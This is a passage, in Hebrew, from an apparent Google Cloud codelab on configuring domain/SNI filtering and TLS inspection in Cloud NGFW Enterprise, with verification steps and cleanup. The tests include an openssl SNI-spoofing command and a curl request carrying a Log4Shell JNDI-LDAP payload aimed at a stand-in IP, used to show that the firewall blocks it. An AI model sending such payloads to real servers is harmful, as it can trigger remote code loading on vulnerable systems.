kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
כאן נכנסת לתמונה בדיקת TLS, שיכולה לעזור לסגור את הפער הזה.
סוגרים את החיבור ויוצאים מהמכונה הווירטואלית:
"ctrl" + c exit
18. [Optional] בדיקת TLS
הגדרת משאבי TLS
הקטע הזה הוא אופציונלי כי סינון לפי דומיין או SNI פועל בלי בדיקת TLS. עם זאת, יכול להיות שתרצו לבצע בדיקת TLS אם אתם מתכננים להשתמש במניעת איומים, או בעתיד כשתהיה זמינה סינון מלא של כתובות URL, כדי שתוכלו ליצור כללים מבוססי נתיבים בפרופיל האבטחה.
בנוסף, בדיקת TLS מספקת שכבת בדיקות נוספת, כי יש אפשרות לזיוף SNI.
יוצרים מאגר של רשויות אישורים. המשאב הזה ישמש לאחסון אישור ה-CA הבסיסי שאנחנו יוצרים עבור NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
יוצרים את רשות האישורים (CA) העליונה. זהו אישור ה-CA שישמש לחתימה על אישורים נוספים לבקשות דרך NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
אם מוצגת ההודעה הבאה, משיבים y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
יוצרים חשבון שירות. חשבון השירות הזה ישמש לבקשת אישורים עבור NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
הגדרת הרשאות IAM לחשבון השירות:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
יוצרים את קובץ ה-YAML של מדיניות ה-TLS. הקובץ הזה יכיל מידע על המשאבים הספציפיים:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
ייבוא המדיניות לבדיקת TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
מעדכנים את השיוך של נקודת הקצה כדי להפעיל TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
מקבלים את אישור ה-CA ומוסיפים אותו למאגר ה-CA של הלקוח. הדבר נדרש כדי ליצור אמון, כי NGFW Enterprise יקים TLS ויציג את האישור החתום ממאגר ה-CA:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
מעבירים את אישור ה-CA ללקוח:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
מתחברים ל-VM באמצעות SSH, מעבירים את אישור ה-CA אל /usr/local/share/ca-certificates ומעדכנים את מאגר ה-CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
יוצאים מהמכונה הווירטואלית וממשיכים ב-Cloud Shell.
עדכון כלל חומת האש לבדיקת TLS
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
אימות כללים באמצעות בדיקת TLS
מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
שולחים את הבקשות לדוגמה ליעדים המותרים:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
הן אמורות לעבור ללא בעיה. כדי לבדוק את האישור ולוודא אם הוא חתום על ידי NGFW, אפשר להריץ את הפקודה הבאה:
curl https://ifconfig.me --max-time 2 -vv
הפלט אמור להיראות כך:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
בפלט שלמעלה אפשר לראות שהבקשה נבדקת על ידי NGFW Enterprise באמצעות TLS, כי האישור שהתקבל חתום על ידי רשות האישורים הבסיסית שיצרנו קודם. (שדה המוסד המנפיק)
אימות כללים שמנסים לזייף SNI באמצעות בדיקת TLS
עכשיו נבדוק את ההתנהגות אחרי שהפעלנו את בדיקת ה-TLS.
מריצים את פקודת openssl הבאה כדי לזייף את ה-SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
הפלט אמור להיראות כך:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
בפלט שלמעלה אפשר לראות שבקשת זיוף SNI שפעלה בעבר נכשלת עכשיו כשהבדיקה של TLS מופעלת. הסיבה לכך היא שכאשר בדיקת TLS מופעלת, NGFW בודק את ה-SNI מול שם חלופי של בעלים (subject) (SAN) באישור השרת. אם הוא לא תואם, לחיצת היד בפרוטוקול TLS תיכשל.
אימות של סינון לפי דומיין או SNI ומניעת איומים באמצעות בדיקת TLS
עכשיו נריץ מחדש את הבדיקה שבוצעה קודם לבקשה זדונית (log4j) לדומיין מותר.
שליחת דוגמה זדונית (log4j) ליעד מותר של דומיין או SNI:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
הפלט אמור להיראות כך:
000
קוד התגובה 000 נובע מכך שהחיבור הופסק על ידי NGFW כי זוהה איום. אנחנו יכולים לאסוף פלט מפורט יותר כדי לאשר את זה.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
הפלט אמור להיראות כך:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
מהנתונים שלמעלה אפשר לראות שה-NGFW ביצע בדיקת TLS וחסימה של הבקשה הזדונית.
יוצאים מה-VM:
exit
בקטע הבא מפורטים השלבים לניקוי.
19. שלבי הניקוי
ניקוי הגדרות בסיסיות
מסירים את המכונות:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
מסירים את מדיניות הרשת של חומת האש בענן ואת השיוך שלה:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
מוחקים את Cloud Router ואת Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
מחיקת כתובות ה-IP השמורות:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
ניקוי של SPG ושיוך ב-Cloud Firewall
מוחקים את קבוצת פרופילי האבטחה ואת פרופיל הסינון של איומים וכתובות URL בסדר הזה:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
מוחקים את השיוך של נקודת הקצה של Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
מוחקים את נקודת הקצה של Cloud Firewall. התהליך הזה יכול להימשך כ-20 דקות:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
אפשר גם להריץ את הפקודה הבאה כדי לוודא שנקודת הקצה של Cloud NGFW נמחקה:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
במצב של נקודת הקצה צריך להופיע:
STATE: DELETING
כשהפעולה תסתיים, נקודת הקצה לא תופיע יותר ברשימה.
[אופציונלי] ניקוי TLS
אם המשכתם עם ההגדרות האופציונליות של בדיקת TLS, מריצים את הפקודות הבאות כדי לנקות את משאבי ה-TLS.
מחיקת מדיניות TLS:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
משביתים ומוחקים את רשות האישורים הבסיסית ואת מאגר רשויות האישורים:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
ניקוי של תת-רשת ו-VPC
לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. מסקנות ושיקולים
המעבדה הזו פשוטה מאוד, והיא בודקת רק מכונה וירטואלית אחת שמתחברת לאינטרנט. בתרחישים בעולם האמיתי, רשת ה-VPC יכולה להכיל כמה משאבים, ותעבורת הנתונים יכולה לנוע לכל הכיוונים (צפון/דרום ומזרח/מערב). מכיוון שכלל חומת האש לסינון לפי דומיין או SNI הוא EGRESS 0.0.0.0/0, הוא כלל כללי וחובה להגדיר אותו ככלל בעדיפות הכי נמוכה במדיניות רשת ב-Kubernetes. אחרת, תעבורת נתונים תתאים באופן לא צפוי ותאושר או תידחה על סמך כלל ברירת המחדל של urlFiltering.
בנוסף, כדאי להשתמש בסוגי רשתות כדי להגביל את ההיקף. הסיבה לכך היא למנוע התאמה של תנועת נתונים מזרחית/מערבית לכלל. אפשרות אחרת היא ליצור כלל הרשאה עם עדיפות גבוהה יותר לתנועה מזרח-מערב.
מומלץ לעיין במסמך השיטות המומלצות שכולל מידע מפורט יותר על סינון לפי דומיין או SNI.
21. מעולה!
סיימתם בהצלחה את שיעור ה-Codelab בנושא סינון לפי דומיין או SNI ב-Cloud NGFW Enterprise עם בדיקת TLS אופציונלית.